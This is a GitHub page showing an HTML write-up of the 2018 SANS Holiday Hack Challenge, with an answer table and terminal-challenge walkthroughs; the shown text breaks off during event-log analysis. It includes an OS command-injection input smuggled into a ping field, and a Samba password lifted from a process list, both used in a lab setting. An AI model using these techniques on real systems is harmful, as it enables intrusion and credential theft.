-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKringleCon_WriteUp.html
More file actions
2367 lines (2173 loc) · 142 KB
/
KringleCon_WriteUp.html
File metadata and controls
2367 lines (2173 loc) · 142 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html>
<head>
<title>KringleCon_WriteUp.md</title>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<style>
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
body {
font-family: "Segoe WPC", "Segoe UI", "SFUIText-Light", "HelveticaNeue-Light", sans-serif, "Droid Sans Fallback";
font-size: 14px;
padding: 0 12px;
line-height: 22px;
word-wrap: break-word;
}
#code-csp-warning {
position: fixed;
top: 0;
right: 0;
color: white;
margin: 16px;
text-align: center;
font-size: 12px;
font-family: sans-serif;
background-color:#444444;
cursor: pointer;
padding: 6px;
box-shadow: 1px 1px 1px rgba(0,0,0,.25);
}
#code-csp-warning:hover {
text-decoration: none;
background-color:#007acc;
box-shadow: 2px 2px 2px rgba(0,0,0,.25);
}
body.scrollBeyondLastLine {
margin-bottom: calc(100vh - 22px);
}
body.showEditorSelection .code-line {
position: relative;
}
body.showEditorSelection .code-active-line:before,
body.showEditorSelection .code-line:hover:before {
content: "";
display: block;
position: absolute;
top: 0;
left: -12px;
height: 100%;
}
body.showEditorSelection li.code-active-line:before,
body.showEditorSelection li.code-line:hover:before {
left: -30px;
}
.vscode-light.showEditorSelection .code-active-line:before {
border-left: 3px solid rgba(0, 0, 0, 0.15);
}
.vscode-light.showEditorSelection .code-line:hover:before {
border-left: 3px solid rgba(0, 0, 0, 0.40);
}
.vscode-dark.showEditorSelection .code-active-line:before {
border-left: 3px solid rgba(255, 255, 255, 0.4);
}
.vscode-dark.showEditorSelection .code-line:hover:before {
border-left: 3px solid rgba(255, 255, 255, 0.60);
}
.vscode-high-contrast.showEditorSelection .code-active-line:before {
border-left: 3px solid rgba(255, 160, 0, 0.7);
}
.vscode-high-contrast.showEditorSelection .code-line:hover:before {
border-left: 3px solid rgba(255, 160, 0, 1);
}
img {
max-width: 100%;
max-height: 100%;
}
a {
color: #4080D0;
text-decoration: none;
}
a:focus,
input:focus,
select:focus,
textarea:focus {
outline: 1px solid -webkit-focus-ring-color;
outline-offset: -1px;
}
hr {
border: 0;
height: 2px;
border-bottom: 2px solid;
}
h1 {
padding-bottom: 0.3em;
line-height: 1.2;
border-bottom-width: 1px;
border-bottom-style: solid;
}
h1, h2, h3 {
font-weight: normal;
}
h1 code,
h2 code,
h3 code,
h4 code,
h5 code,
h6 code {
font-size: inherit;
line-height: auto;
}
a:hover {
color: #4080D0;
text-decoration: underline;
}
table {
border-collapse: collapse;
}
table > thead > tr > th {
text-align: left;
border-bottom: 1px solid;
}
table > thead > tr > th,
table > thead > tr > td,
table > tbody > tr > th,
table > tbody > tr > td {
padding: 5px 10px;
}
table > tbody > tr + tr > td {
border-top: 1px solid;
}
blockquote {
margin: 0 7px 0 5px;
padding: 0 16px 0 10px;
border-left: 5px solid;
}
code {
font-family: Menlo, Monaco, Consolas, "Droid Sans Mono", "Courier New", monospace, "Droid Sans Fallback";
font-size: 14px;
line-height: 19px;
}
body.wordWrap pre {
white-space: pre-wrap;
}
.mac code {
font-size: 12px;
line-height: 18px;
}
pre:not(.hljs),
pre.hljs code > div {
padding: 16px;
border-radius: 3px;
overflow: auto;
}
/** Theming */
.vscode-light,
.vscode-light pre code {
color: rgb(30, 30, 30);
}
.vscode-dark,
.vscode-dark pre code {
color: #DDD;
}
.vscode-high-contrast,
.vscode-high-contrast pre code {
color: white;
}
.vscode-light code {
color: #A31515;
}
.vscode-dark code {
color: #D7BA7D;
}
.vscode-light pre:not(.hljs),
.vscode-light code > div {
background-color: rgba(220, 220, 220, 0.4);
}
.vscode-dark pre:not(.hljs),
.vscode-dark code > div {
background-color: rgba(10, 10, 10, 0.4);
}
.vscode-high-contrast pre:not(.hljs),
.vscode-high-contrast code > div {
background-color: rgb(0, 0, 0);
}
.vscode-high-contrast h1 {
border-color: rgb(0, 0, 0);
}
.vscode-light table > thead > tr > th {
border-color: rgba(0, 0, 0, 0.69);
}
.vscode-dark table > thead > tr > th {
border-color: rgba(255, 255, 255, 0.69);
}
.vscode-light h1,
.vscode-light hr,
.vscode-light table > tbody > tr + tr > td {
border-color: rgba(0, 0, 0, 0.18);
}
.vscode-dark h1,
.vscode-dark hr,
.vscode-dark table > tbody > tr + tr > td {
border-color: rgba(255, 255, 255, 0.18);
}
.vscode-light blockquote,
.vscode-dark blockquote {
background: rgba(127, 127, 127, 0.1);
border-color: rgba(0, 122, 204, 0.5);
}
.vscode-high-contrast blockquote {
background: transparent;
border-color: #fff;
}
</style>
<style>
/* Tomorrow Theme */
/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
/* Original theme - https://github.com/chriskempson/tomorrow-theme */
/* Tomorrow Comment */
.hljs-comment,
.hljs-quote {
color: #8e908c;
}
/* Tomorrow Red */
.hljs-variable,
.hljs-template-variable,
.hljs-tag,
.hljs-name,
.hljs-selector-id,
.hljs-selector-class,
.hljs-regexp,
.hljs-deletion {
color: #c82829;
}
/* Tomorrow Orange */
.hljs-number,
.hljs-built_in,
.hljs-builtin-name,
.hljs-literal,
.hljs-type,
.hljs-params,
.hljs-meta,
.hljs-link {
color: #f5871f;
}
/* Tomorrow Yellow */
.hljs-attribute {
color: #eab700;
}
/* Tomorrow Green */
.hljs-string,
.hljs-symbol,
.hljs-bullet,
.hljs-addition {
color: #718c00;
}
/* Tomorrow Blue */
.hljs-title,
.hljs-section {
color: #4271ae;
}
/* Tomorrow Purple */
.hljs-keyword,
.hljs-selector-tag {
color: #8959a8;
}
.hljs {
display: block;
overflow-x: auto;
color: #4d4d4c;
padding: 0.5em;
}
.hljs-emphasis {
font-style: italic;
}
.hljs-strong {
font-weight: bold;
}
</style>
<style>
/*
* Markdown PDF CSS
*/
body {
font-family: "Meiryo", "Segoe WPC", "Segoe UI", "SFUIText-Light", "HelveticaNeue-Light", sans-serif, "Droid Sans Fallback";
}
pre {
background-color: #f8f8f8;
border: 1px solid #cccccc;
border-radius: 3px;
overflow-x: auto;
white-space: pre-wrap;
overflow-wrap: break-word;
}
pre:not(.hljs) {
padding: 23px;
line-height: 19px;
}
blockquote {
background: rgba(127, 127, 127, 0.1);
border-color: rgba(0, 122, 204, 0.5);
}
.emoji {
height: 1.4em;
}
/* for inline code */
:not(pre):not(.hljs) > code {
color: #C9AE75; /* Change the old color so it seems less like an error */
font-size: inherit;
}
/* Page Break : use <div class="page"/> to insert page break
-------------------------------------------------------- */
.page {
page-break-after: always;
}
</style>
</head>
<body>
<h1 id="the-2018-sans-holiday-hack-challenge-by-yasulib">THE 2018 SANS HOLIDAY HACK CHALLENGE By yasulib</h1>
<!-- TOC -->
<ul>
<li><a href="#the-2018-sans-holiday-hack-challenge-by-yasulib">THE 2018 SANS HOLIDAY HACK CHALLENGE By yasulib</a>
<ul>
<li><a href="#tldr-quick-answers">tl;dr: Quick Answers</a></li>
<li><a href="#terminal-challenges">TERMINAL CHALLENGES</a>
<ul>
<li><a href="#essential-editor-skills">Essential Editor Skills</a></li>
<li><a href="#the-name-game">The Name Game</a></li>
<li><a href="#lethal-forensicelfication">Lethal ForensicELFication</a></li>
<li><a href="#stall-mucking-report">Stall Mucking Report</a></li>
<li><a href="#curling-master">CURLing Master</a></li>
<li><a href="#yule-log-analysis">Yule Log Analysis</a></li>
<li><a href="#dev-ops-fail">Dev Ops Fail</a></li>
<li><a href="#python-escape-from">Python Escape from</a></li>
<li><a href="#the-sleighbell">The Sleighbell</a></li>
</ul>
</li>
<li><a href="#questions">Questions</a>
<ul>
<li><a href="#1-orientation-challenge">1 : Orientation Challenge</a></li>
<li><a href="#2-directory-bwosing">2 : Directory Bwosing</a></li>
<li><a href="#3-de-bruijn-sequences">3 : de Bruijn Sequences</a></li>
<li><a href="#4-data-repo-analysis">4 : Data Repo Analysis</a></li>
<li><a href="#5-ad-privilege-discovery">5 : AD Privilege Discovery</a></li>
<li><a href="#6-badge-manipulation">6 : Badge Manipulation</a>
<ul>
<li><a href="#solution1-upload-qr-code-from-the-usb-mark">Solution1: Upload QR code from the USB mark.</a></li>
<li><a href="#solution2-click-the-fingerprint-authentication-mark">Solution2: Click the fingerprint authentication mark.</a></li>
</ul>
</li>
<li><a href="#7-hr-incident-response">7 : HR Incident Response</a></li>
<li><a href="#8-network-traffic-forensics">8 : Network Traffic Forensics</a></li>
<li><a href="#9-ransomware-recovery">9 : Ransomware Recovery</a>
<ul>
<li><a href="#9-1-catch-the-malware">9-1 : Catch the Malware</a></li>
<li><a href="#9-2-identify-the-domain">9-2 : Identify the Domain</a></li>
<li><a href="#9-3-stop-the-malware">9-3 : Stop the Malware</a></li>
<li><a href="#9-4-recover-alabasters-password">9-4 : Recover Alabaster's Password</a></li>
</ul>
</li>
<li><a href="#10-who-is-behind-it-all">10 : Who Is Behind It All?</a>
<ul>
<li><a href="#pianolock">Pianolock</a></li>
<li><a href="#in-santas-vault">In Santa's vault</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<!-- /TOC -->
<h2 id="tldr-quick-answers">tl;dr: Quick Answers</h2>
<table>
<thead>
<tr>
<th style="text-align:left">#</th>
<th style="text-align:left">Title</th>
<th style="text-align:left">Answer</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">1</td>
<td style="text-align:left">Orientation Challenge</td>
<td style="text-align:left">Happy Trails</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left">Directory Bwosing</td>
<td style="text-align:left">John McClane</td>
</tr>
<tr>
<td style="text-align:left">3</td>
<td style="text-align:left">de Bruijn Sequences</td>
<td style="text-align:left">Welcome unprepared speaker!</td>
</tr>
<tr>
<td style="text-align:left">4</td>
<td style="text-align:left">Data Repo Analysis</td>
<td style="text-align:left">Yippee-ki-yay</td>
</tr>
<tr>
<td style="text-align:left">5</td>
<td style="text-align:left">AD Privilege Discovery</td>
<td style="text-align:left">LDUBEJ00320@AD.KRINGLECASTLE.COM</td>
</tr>
<tr>
<td style="text-align:left">6</td>
<td style="text-align:left">Badge Manipulation</td>
<td style="text-align:left">19880715</td>
</tr>
<tr>
<td style="text-align:left">7</td>
<td style="text-align:left">HR Incident Response</td>
<td style="text-align:left">Fancy Beaver</td>
</tr>
<tr>
<td style="text-align:left">8</td>
<td style="text-align:left">Network Traffic Forensics</td>
<td style="text-align:left">Mary Had a Little Lamb</td>
</tr>
<tr>
<td style="text-align:left">9-1</td>
<td style="text-align:left">Ransomware Recovery(Catch the Malware)</td>
<td style="text-align:left">Snort is alerting on all ransomware and only the ransomware!</td>
</tr>
<tr>
<td style="text-align:left">9-2</td>
<td style="text-align:left">Ransomware Recovery(Identify the Domain)</td>
<td style="text-align:left">erohetfanu.com</td>
</tr>
<tr>
<td style="text-align:left">9-3</td>
<td style="text-align:left">Ransomware Recovery(Stop the Malware)</td>
<td style="text-align:left">Successfully registered yippeekiyaa.aaay!</td>
</tr>
<tr>
<td style="text-align:left">9-4</td>
<td style="text-align:left">Ransomware Recovery(Recover Alabaster's Password)</td>
<td style="text-align:left">ED#ED#EED#EF#G#F#G#ABA#BA#B</td>
</tr>
<tr>
<td style="text-align:left">10</td>
<td style="text-align:left">Who Is Behind It All?</td>
<td style="text-align:left">Santa</td>
</tr>
</tbody>
</table>
<h2 id="terminal-challenges">TERMINAL CHALLENGES</h2>
<h3 id="essential-editor-skills">Essential Editor Skills</h3>
<p><code>Exit vi and back to shell</code></p>
<ol>
<li>Press the key: <code><ESCAPE></code></li>
<li>Press the key: <code>:q</code></li>
<li>Press the key: <code><ENTER></code></li>
</ol>
<h3 id="the-name-game">The Name Game</h3>
<p><code>Find the first name of "Chan!" and submit to runtoanswer.</code></p>
<p>The program has a vulnerability which is os command injection.</p>
<pre class="hljs"><code><div> Press 1 to start the onboard process.
Press 2 to verify the system.
Press q to quit.
Please make a selection: 2
----------------------------------------
Validating data store for employee onboard information.
Enter address of server: : 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.046 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2034ms
rtt min/avg/max/mdev = 0.043/0.047/0.052/0.003 ms
onboard.db: SQLite 3.x database
Press Enter to continue...:
</div></code></pre>
<ul>
<li>OS command execution : <code>ping -c 3 <USERINPUT></code></li>
<li>SQLite 3.x database filename : <code>onboard.db</code></li>
<li>Program to answer : <code>runtoanswer</code></li>
</ul>
<p>So I input the <code>;sqlite3 onboard.db;runtoanswer</code>.
Then exec program is :</p>
<pre class="hljs"><code><div>ping -c 3 ;sqlite3 onboard.db;runtoanswer
</div></code></pre>
<pre class="hljs"><code><div>Validating data store for employee onboard information.
Enter address of server: ;sqlite3 onboard.db;runtoanswer
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .table
onboard
sqlite> .schema onboard
CREATE TABLE onboard (
id INTEGER PRIMARY KEY,
fname TEXT NOT NULL,
lname TEXT NOT NULL,
street1 TEXT,
street2 TEXT,
city TEXT,
postalcode TEXT,
phone TEXT,
email TEXT
);
sqlite> SELECT fname FROM onboard WHERE lname='Chan';
Scott
sqlite>
Loading, please wait......
Enter Mr. Chan's first name: Scott
</div></code></pre>
<p>Mr. Chan's first name is <code>Scott</code>.</p>
<h3 id="lethal-forensicelfication">Lethal ForensicELFication</h3>
<p><code>Find the first name of the elf of whom a love poem was written.</code></p>
<pre class="hljs"><code><div>elf@728138d2a9f2:~$ ls -la
total 5460
drwxr-xr-x 1 elf elf 4096 Dec 14 16:28 .
drwxr-xr-x 1 root root 4096 Dec 14 16:28 ..
-rw-r--r-- 1 elf elf 419 Dec 14 16:13 .bash_history
-rw-r--r-- 1 elf elf 220 May 15 2017 .bash_logout
-rw-r--r-- 1 elf elf 3540 Dec 14 16:28 .bashrc
-rw-r--r-- 1 elf elf 675 May 15 2017 .profile
drwxr-xr-x 1 elf elf 4096 Dec 14 16:28 .secrets
-rw-r--r-- 1 elf elf 5063 Dec 14 16:13 .viminfo
-rwxr-xr-x 1 elf elf 5551072 Dec 14 16:13 runtoanswer
elf@728138d2a9f2:~$ find .secrets/ -type f
.secrets/her/poem.txt
elf@728138d2a9f2:~$ cat .secrets/her/poem.txt
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure--
There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door--
Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
NEVERMORE in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune fates had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding--
No - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely NEVERMORE!
-Morcel Nougat
</div></code></pre>
<ul>
<li><code>~/.viminfo</code> has a vim command history.</li>
<li><code>NEVERMORE</code> was replaced from elf name.</li>
</ul>
<pre class="hljs"><code><div>elf@c6e07de519cf:~$ more ~/.viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE
# Command Line History (newest to oldest):
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"
:q
...(snip)...
</div></code></pre>
<p>So <code>:%s/Elinore/NEVERMORE/g</code> indicates that the first name of elf is <code>Elinore</code>.</p>
<h3 id="stall-mucking-report">Stall Mucking Report</h3>
<p><code>Upload report.txt to samba server at //localhost/report-upload/</code></p>
<pre class="hljs"><code><div>elf@5a873edadfcc:~$ ps -ef |tee -a /tmp/a
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 08:53 pts/0 00:00:00 /bin/bash /sbin/init
root 11 1 0 08:53 pts/0 00:00:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
root 12 1 0 08:53 pts/0 00:00:00 sudo -E -u manager /usr/bin/python /home/manager/report-check.py
root 16 1 0 08:53 pts/0 00:00:00 sudo -u elf /bin/bash
manager 17 12 0 08:53 pts/0 00:00:00 /usr/bin/python /home/manager/report-check.py
manager 18 11 0 08:53 pts/0 00:00:00 /bin/bash /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
elf 19 16 0 08:53 pts/0 00:00:00 /bin/bash
manager 22 18 0 08:53 pts/0 00:00:00 sleep 60
root 25 1 0 08:53 ? 00:00:00 /usr/sbin/smbd
root 26 25 0 08:53 ? 00:00:00 /usr/sbin/smbd
root 27 25 0 08:53 ? 00:00:00 /usr/sbin/smbd
root 29 25 0 08:53 ? 00:00:00 /usr/sbin/smbd
elf 31 19 0 08:53 pts/0 00:00:00 ps -ef
elf 32 19 0 08:53 pts/0 00:00:00 tee -a /tmp/a
</div></code></pre>
<p>The password was showed in <code>/bin/bash /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload</code>.</p>
<ul>
<li>Username : <code>report-upload</code></li>
<li>Password : <code>directreindeerflatterystable</code></li>
<li>Service Name : <code>//localhost/report-upload/</code></li>
</ul>
<pre class="hljs"><code><div>elf@5a873edadfcc:~$ smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \> put report.txt
putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)
</div></code></pre>
<h3 id="curling-master">CURLing Master</h3>
<p><code>submitting the right HTTP request to the server at http://localhost:8080/</code></p>
<pre class="hljs"><code><div>elf@d8df11e4f5fd:~$ curl -v http://localhost:8080/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.52.1
> Accept: */*
>
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact
����
elf@d8df11e4f5fd:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 09:15 pts/0 00:00:00 /bin/bash /sbin/init
root 10 1 0 09:15 pts/0 00:00:00 nginx: master process /usr/sbin/nginx -g daemon off;
root 13 1 0 09:15 pts/0 00:00:00 sudo -u elf /bin/bash
elf 14 13 0 09:15 pts/0 00:00:00 /bin/bash
www-data 17 10 0 09:15 pts/0 00:00:00 nginx: worker process
www-data 18 10 0 09:15 pts/0 00:00:00 nginx: worker process
www-data 19 10 0 09:15 pts/0 00:00:00 nginx: worker process
www-data 21 10 0 09:15 pts/0 00:00:00 nginx: worker process
www-data 22 10 0 09:15 pts/0 00:00:00 nginx: worker process
www-data 23 10 0 09:15 pts/0 00:00:00 nginx: worker process
www-data 24 10 0 09:15 pts/0 00:00:00 nginx: worker process
www-data 25 10 0 09:15 pts/0 00:00:00 nginx: worker process
root 26 1 0 09:15 ? 00:00:00 php-fpm: master process (/etc/php/7.0/fpm/php-fpm.conf)
www-data 27 26 0 09:15 ? 00:00:00 php-fpm: pool www
www-data 28 26 0 09:15 ? 00:00:00 php-fpm: pool www
elf 31 14 0 09:16 pts/0 00:00:00 ps -ef
elf@d8df11e4f5fd:~$ more /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
...(snip)...
</div></code></pre>
<ul>
<li>nginx is running on 8080/tcp</li>
<li>http2 is enable, but SSL is not enable</li>
</ul>
<pre class="hljs"><code><div>elf@d8df11e4f5fd:~$ curl --help | grep http2
--http2 Use HTTP 2 (H)
--http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H)
elf@d8df11e4f5fd:~$ curl --http2-prior-knowledge http://localhost:8080/
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
</body>
</html>
elf@d8df11e4f5fd:~$ curl -X POST -d "status=on" --http2-prior-knowledge http://localhost:8080/
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
okkd,
OXXXXX,
oXXXXXXo
;XXXXXXX;
;KXXXXXXx
oXXXXXXXO
.lKXXXXXXX0.
'''''' .'''''' .'''''' .:::; ':okKXXXXXXXX0Oxcooddool,
'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX.
'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d;
'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x.
'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX:
'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;.
'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO.
'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk.
.c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc
;xKXXXXXXX0xKXXXXXXXXK.
..,:ccllc:cccccc:'
Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.
-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
</body>
</html>
</div></code></pre>
<h3 id="yule-log-analysis">Yule Log Analysis</h3>
<p><code>Find compromised webmail username</code></p>
<p>I focused on two EventIDs(4624, 4625).</p>
<ul>
<li>EID:4624 is <em>"An account was successfully logged on"</em></li>
<li>EID:4625 is <em>"An account failed to log on"</em></li>
</ul>
<p>When the EID:4625 is continuous and suddenly EID:4624 appears, the user who is logged on is likely to be compromised.
But <code>HealthMailbox.*</code> user is excluded because they are used by the monitoring system.</p>
<pre class="hljs"><code><div>elf@84c307779471:~$ python evtx_dump.py ho-ho-no.evtx > /tmp/dump.txt
elf@84c307779471:~$ grep -E '462[45]' /tmp/dump.txt -A35 | grep -E '(TargetUserName|EventID)' | perl -pe 's/<\/EventID>\n//' | grep -v HealthMailbox
...(snip)...
<EventID Qualifiers="">4625<Data Name="TargetUserName">mark.johnson</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mark.jones</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mark.smith</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mark.williams</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mary.smith</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">matt.johnson</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">matt.smith</Data>
